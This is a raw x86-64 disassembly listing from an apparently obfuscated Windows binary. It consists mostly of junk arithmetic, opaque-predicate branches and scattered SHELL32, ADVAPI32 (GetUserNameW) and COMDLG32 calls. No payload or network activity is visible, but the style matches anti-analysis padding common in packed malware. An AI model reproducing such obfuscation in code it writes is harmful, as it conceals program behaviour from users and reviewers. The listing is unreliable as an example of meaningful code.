mov qword [rsp + 0xcdc8], rax
movabs rax, 0x7d3bc04e4811b5
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a2c]
add eax, 0xc5
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sub eax, 0x1cf
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
add eax, 0x1b
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
add eax, 0x1c2
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6ba4]
sub eax, 0x3b
mov dword [rsp + 0x6ba4], eax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x607
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7d9f832b98e656
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
shl eax, 4
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sar eax, 8
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
or eax, 0x74
mov byte [0x14019ef90], al
movabs rax, 0x77f6ccea3028c3
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movabs rax, 0x7495c093ec4f9b
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
shl eax, 6
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
sar eax, 4
mov word [rsp + 0x2a2c], ax
cmp dword [rsp + 0x6ba4], 0xb260
jae 0x140016345
mov eax, dword [rsp + 0x63c8]
or eax, 0x2cdf5e06
mov dword [rsp + 0x63c8], eax
mov dword [rsp + 0x6bcc], 0x6205
mov dword [rsp + 0x6bd0], 0x6d60
movabs rax, 0x75326d713b9319
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov dword [rsp + 0x6bd4], 0xd0b0
mov dword [rsp + 0x6bd8], 0xe4f9
cmp dword [rsp + 0x6bd8], 0xfc01
ja 0x140016924
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x5b0b
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x131
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
and eax, 0x9c8b
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
sar eax, 0xb
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
shl eax, 7
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7c13dcb868f4a4
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bd0]
add eax, 0x6d41
mov dword [rsp + 0x6bd0], eax
movzx eax, byte [0x14019ef90]
sub eax, 0x79
mov byte [0x14019ef90], al
mov eax, dword [rsp + 0x6bd0]
add eax, 0x2c4
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x7f5c
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xccf8]
shl rax, 0x2a
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xccf8]
sar rax, 8
mov qword [rsp + 0xcdc8], rax
movabs rax, 0x70e34d21035104
mov rcx, qword [rsp + 0xcdc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x63c8]
add eax, 0x5c45f5d2
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0xd8a7
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
and eax, 0x6fb
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
xor eax, 0x250
mov word [rsp + 0x2a2c], ax
movabs rax, 0x786b01d4481925
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bd0]
shl eax, 0x11
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
sar eax, 3
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7207140d824108
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movzx eax, byte [0x14019ef90]
sub eax, 0x48
mov byte [0x14019ef90], al
mov eax, dword [rsp + 0x6bd0]
add eax, 0xa573
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
shl eax, 0xc
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x17
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
or eax, 0x52
mov word [rsp + 0x2a2c], ax
movabs rax, 0x7053d52453a155
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x63c8]
add eax, 0x107627c4
mov dword [rsp + 0x63c8], eax
movabs rax, 0x74afbc6614e9a9
mov rcx, qword [section..data]
xor rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov eax, dword [rsp + 0x6bd0]
and eax, 0xb122
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
shl eax, 4
mov word [rsp + 0x2a2c], ax
movabs rax, 0x78d47c020cf79f
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x12
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
add eax, 0x6d4
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd8]
add eax, 0x58
mov dword [rsp + 0x6bd8], eax
mov eax, dword [rsp + 0x63c8]
sub eax, 0x72d04b29
mov dword [rsp + 0x63c8], eax
movabs rax, 0x78b5994a8d9e78
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
movabs rax, 0x7b91d8697d7239
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x14
mov dword [rsp + 0x6bd0], eax
lea rcx, [rsp + 0xcdf8]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6bc8], eax
mov eax, dword [rsp + 0x63c8]
or eax, 0x790ac835
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x63c8]
shl eax, 7
mov dword [rsp + 0x63c8], eax
jmp 0x140016585
movsx eax, word [rsp + 0x2a2c]
mov dword [rsp + 0x6bdc], eax
cmp dword [rsp + 0x6bdc], 0x38c
je 0x140016945
jmp 0x140016a75
cmp dword [rsp + 0x6bd0], 0x7b26
jb 0x140016a2b
mov eax, dword [rsp + 0x6bd0]
or eax, 0x949d
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xcdc8]
shl rax, 0xc4
cmp rax, qword [rsp + 0xccf8]
je 0x1400169b9
movabs rax, 0x7c611102e03da3
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x334d
mov dword [rsp + 0x6bd0], eax
call fcn.140181f50
jmp 0x140016a29
mov rax, qword [rsp + 0xccf8]
sar rax, 0xfc
cmp rax, qword [rsp + 0xcdc8]
jg 0x140016a09
lea rax, [rsp + 0xcdf8]
mov qword [rsp + 0x20], rax
mov r9d, PathMakeUniqueName
lea r8, [rsp + 0x6bbc]
lea rdx, [rsp + 0xcde0]
lea rcx, [rsp + 0x6bc8]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6be0], eax
jmp 0x140016a29
movabs rax, 0x7598ac57934142
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
jmp 0x140016a70
movabs rax, 0x70caf9861fe1c3
mov rcx, qword [rsp + 0xccf8]
imul rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xcdc8]
jne 0x140016a63
mov eax, dword [rsp + 0x6bd0]
add eax, 0x4e8
mov dword [rsp + 0x6bd0], eax
jmp 0x140016a70
movzx ecx, word [rsp + 0x2a2c]
call fcn.140182fd0
jmp 0x14017e576
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x6be4], eax
cmp dword [rsp + 0x6be4], 0xad6c7e80
je 0x140016a92
jmp 0x140016add
movzx eax, byte [0x14019ef90]
add eax, 0x7a
mov byte [rsp + 0x2b2], al
mov dword [rsp + 0x6be8], 0x2e73
mov dword [rsp + 0x6bec], 0x601b
mov byte [rsp + 0x4df], 0x5a
movzx eax, word [rsp + 0x2a2c]
mov word [0x14019ef94], ax
mov dword [rsp + 0x6bf0], 0x12a2
jmp 0x140016af0
movzx eax, byte [0x14019ef90]
or eax, 0xfb
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0xce00], rax
movabs rax, 0x78ba439dae5d36
cmp qword [rsp + 0xce00], rax
je 0x140016b2d
movabs rax, 0x7cb2073a092a8a
cmp qword [rsp + 0xce00], rax
je 0x140016b40
jmp 0x140016bbb
mov eax, dword [rsp + 0x63c8]
shl eax, 0x1e
mov dword [rsp + 0x63c8], eax
jmp 0x140016bbb
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x6bf4], eax
cmp dword [rsp + 0x6bf4], 0x25bf5fce
je 0x140016b6a
cmp dword [rsp + 0x6bf4], 0x5b237980
je 0x140016b9b
jmp 0x140016bbb
movsx eax, word [0x14019ef94]
and eax, 0x170
mov word [rsp + 0x2a2c], ax
mov r8d, dword [rsp + 0x63c8]
mov edx, dword [rsp + 0x63c8]
mov ecx, dword [rsp + 0x63c8]
call fcn.14017e790
jmp 0x140016bbb
movabs rax, 0x741f471afd6201
mov rcx, qword [rsp + 0xcdc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movzx eax, byte [rsp + 0x4df]
mov byte [rsp + 0x4e0], al
mov dword [rsp + 0x6bf8], 0x29cf
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0xce08], rax
mov dword [rsp + 0x6bfc], 0x330a
mov dword [rsp + 0x6c00], 0xfe02
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [0x14019d008], rax
mov dword [rsp + 0x6c04], 0xc4e0
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xc4
lea r9, [rsp + 0xcdd8]
mov r8d, PathMakeUniqueName
lea rdx, [rsp + 0x6bc0]
lea rcx, [rsp + 0xcde0]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6be0], eax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
movsx eax, byte [rsp + 0x4df]
or eax, 0x54
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
shl eax, 0x14
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movzx eax, byte [0x14019ef90]
add eax, 0x93
mov byte [rsp + 0x2b2], al
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xc971
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4e0]
sar eax, 5
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x63c8]
shl eax, 0x10
mov dword [rsp + 0x63c8], eax
movzx eax, byte [0x14019ef90]
sub eax, 0xa4
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019ef94], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x16c4
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6c04]
sub eax, 0xa8
mov dword [rsp + 0x6c04], eax
movsx eax, byte [rsp + 0x4e0]
add eax, 0x57
mov byte [rsp + 0x4df], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
xor eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, byte [rsp + 0x4e0]
or eax, 0x23
mov byte [rsp + 0x4df], al
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x63c8]
sub eax, 0x19033e47
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x63c8]
or eax, 0x706df7dc
mov dword [rsp + 0x63c8], eax
movzx eax, byte [0x14019ef90]
sar eax, 3
mov byte [rsp + 0x2b2], al
movsx eax, byte [rsp + 0x4e0]
shl eax, 1
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6bd0]
add eax, 0x485a
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019ef94], ax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [rsp + 0xcdc8], rax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
mov eax, dword [rsp + 0x6bd0]
or eax, 0x47e9
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4df]
sub eax, 0x1c
mov byte [rsp + 0x4e0], al
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
cmp dword [rsp + 0x6c04], 0xbc58
jae 0x140016c23
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov dword [rsp + 0x20], SHDoDragDrop
mov r9d, 0x73
lea r8, [rsp + 0x21150]
mov edx, 0xd6
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6c08], eax
mov rax, qword [section..data]
shl rax, 0x11
mov qword [section..data], rax
movzx eax, byte [0x14019ef90]
or eax, 0xdf
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x63c8]
add eax, 0x394ad201
mov dword [rsp + 0x63c8], eax
lea rdx, [rsp + 0x21150]
lea rcx, [rsp + 0xcdd8]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xce18], rax
movsx eax, byte [rsp + 0x4df]
add eax, 0x6f
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
and eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xccd6
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sar eax, cl
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
shl eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6bd0]
add eax, 0xea6
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4df]
add eax, 0x2e
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x1d
mov dword [rsp + 0x6bd0], eax
mov dword [rsp + 0x20], 0x65
lea r9, [rsp + 0xce18]
mov r8d, reloc.SHELL32.dll_ILSaveToStream
lea rdx, [rsp + 0x6c08]
lea rcx, [rsp + 0xcdf8]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6bc4], eax
movzx eax, byte [0x14019ef90]
shl eax, 7
mov byte [rsp + 0x2b2], al
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
and eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
xor eax, 0xc3
mov byte [rsp + 0x2b2], al
movzx eax, byte [rsp + 0x2b2]
sub eax, 0xf2
mov byte [0x14019ef90], al
mov eax, dword [rsp + 0x63c8]
sub eax, 0x11ac75f5
mov dword [rsp + 0x63c8], eax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, byte [rsp + 0x4e0]
or eax, 0x30
mov byte [rsp + 0x4df], al
movsx eax, byte [rsp + 0x4df]
shl eax, 1
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
add eax, 0x5f24
mov dword [rsp + 0x6bd0], eax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bfc]
sub eax, 0xe0
mov dword [rsp + 0x6bfc], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x61
lea rax, [rsp + 0xcdf8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6bc0]
mov r8d, SHUpdateImageW
mov edx, 0x31
mov rcx, qword [rsp + 0xce10]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6be0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
cmp dword [rsp + 0x6bfc], 0x9ea
ja 0x1400170bf
movsx eax, byte [rsp + 0x4df]
and eax, 0x31
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xbc33
mov dword [rsp + 0x6bd0], eax
movzx eax, byte [0x14019ef90]
or eax, 0xc1
mov byte [rsp + 0x2b2], al
movzx eax, byte [0x14019ef90]
sub eax, 0x52
mov byte [rsp + 0x2b2], al
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x63c8]
or eax, 0x608dcd86
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x6bd4]
add eax, 0x7d
mov dword [rsp + 0x6bd4], eax
movzx eax, byte [rsp + 0x2b2]
shl eax, 1
mov byte [0x14019ef90], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sar eax, cl
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0xde3a
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6bd0]
add eax, 0xdbb7
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4df]
add eax, 0x75
mov byte [rsp + 0x4e0], al
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xcdc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
cmp dword [rsp + 0x6bd4], 0xed7f
jne 0x14001748c
cmp dword [rsp + 0x6bf0], 0x18ce
je 0x140017803
mov eax, dword [rsp + 0x63c8]
xor eax, 0x69925bf4
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [0x14019d008], rax
mov rax, qword [0x14019d008]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xcdc8], rax
lea rdx, [rsp + 0xce18]
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x6e8d
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
lea rdx, [rsp + 0xcdf8]
mov rcx, qword [rsp + 0xce20]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6bb8], eax
movsx eax, byte [rsp + 0x4e0]
sar eax, 7
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movzx eax, byte [0x14019ef90]
or eax, 0x44
mov byte [rsp + 0x2b2], al
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bf0]
add eax, 0x9e
mov dword [rsp + 0x6bf0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movzx eax, byte [0x14019ef90]
and eax, 0x68
mov byte [rsp + 0x2b2], al
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movsx eax, byte [rsp + 0x4e0]
shl eax, 7
mov byte [rsp + 0x4df], al
movsx eax, byte [rsp + 0x4e0]
sar eax, 7
mov byte [rsp + 0x4df], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, byte [0x14019ef90]
add eax, 0xbd
mov byte [rsp + 0x2b2], al
jmp 0x1400175e4
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [0x14019d008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6c0c], eax
cmp dword [rsp + 0x6c0c], 0xfffc7612
je 0x140017840
jmp 0x14017e512
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0xce28], rax
movabs rax, 0x7a5ce4f3a08e37
cmp qword [rsp + 0xce28], rax
je 0x14001787a
movabs rax, 0x7d14c833db7a67
cmp qword [rsp + 0xce28], rax
je 0x1400178bd
jmp 0x1400178ee
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xce30], rax
mov r9d, dword [rsp + 0x63c8]
mov rax, qword [rsp + 0xce08]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x63c8]
mov rax, qword [rsp + 0xce08]
movzx ecx, word [rax]
call fcn.140181f10
jmp 0x1400178ee
mov rax, qword [rsp + 0xccf8]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov qword [rsp + 0x9b60], rax
mov eax, dword [rsp + 0x6bd0]
add eax, 0x9604
mov dword [rsp + 0x6bd0], eax
mov dword [rsp + 0x6c10], 0xbc51
cmp dword [rsp + 0x6bf8], 0x469b
ja 0x140017cf6
movsx eax, byte [rsp + 0x4df]
sub eax, 0x6e
mov byte [rsp + 0x4e0], al
movzx eax, byte [0x14019ef90]
xor eax, 0xb1
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x63c8]
and eax, 0xfb3e236
mov dword [rsp + 0x63c8], eax
movsx eax, byte [rsp + 0x4e0]
shl eax, 1
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a2c], ax
movzx eax, byte [rsp + 0x2b2]
sub eax, 0x68
mov byte [0x14019ef90], al
lea rcx, [rsp + 0x1f380]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6bc8], eax
mov eax, dword [rsp + 0x6bd0]
add eax, 0xbdfa
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6bd0]
add eax, 0x376b
mov dword [rsp + 0x6bd0], eax
movzx eax, byte [0x14019ef90]
sub eax, 0x29
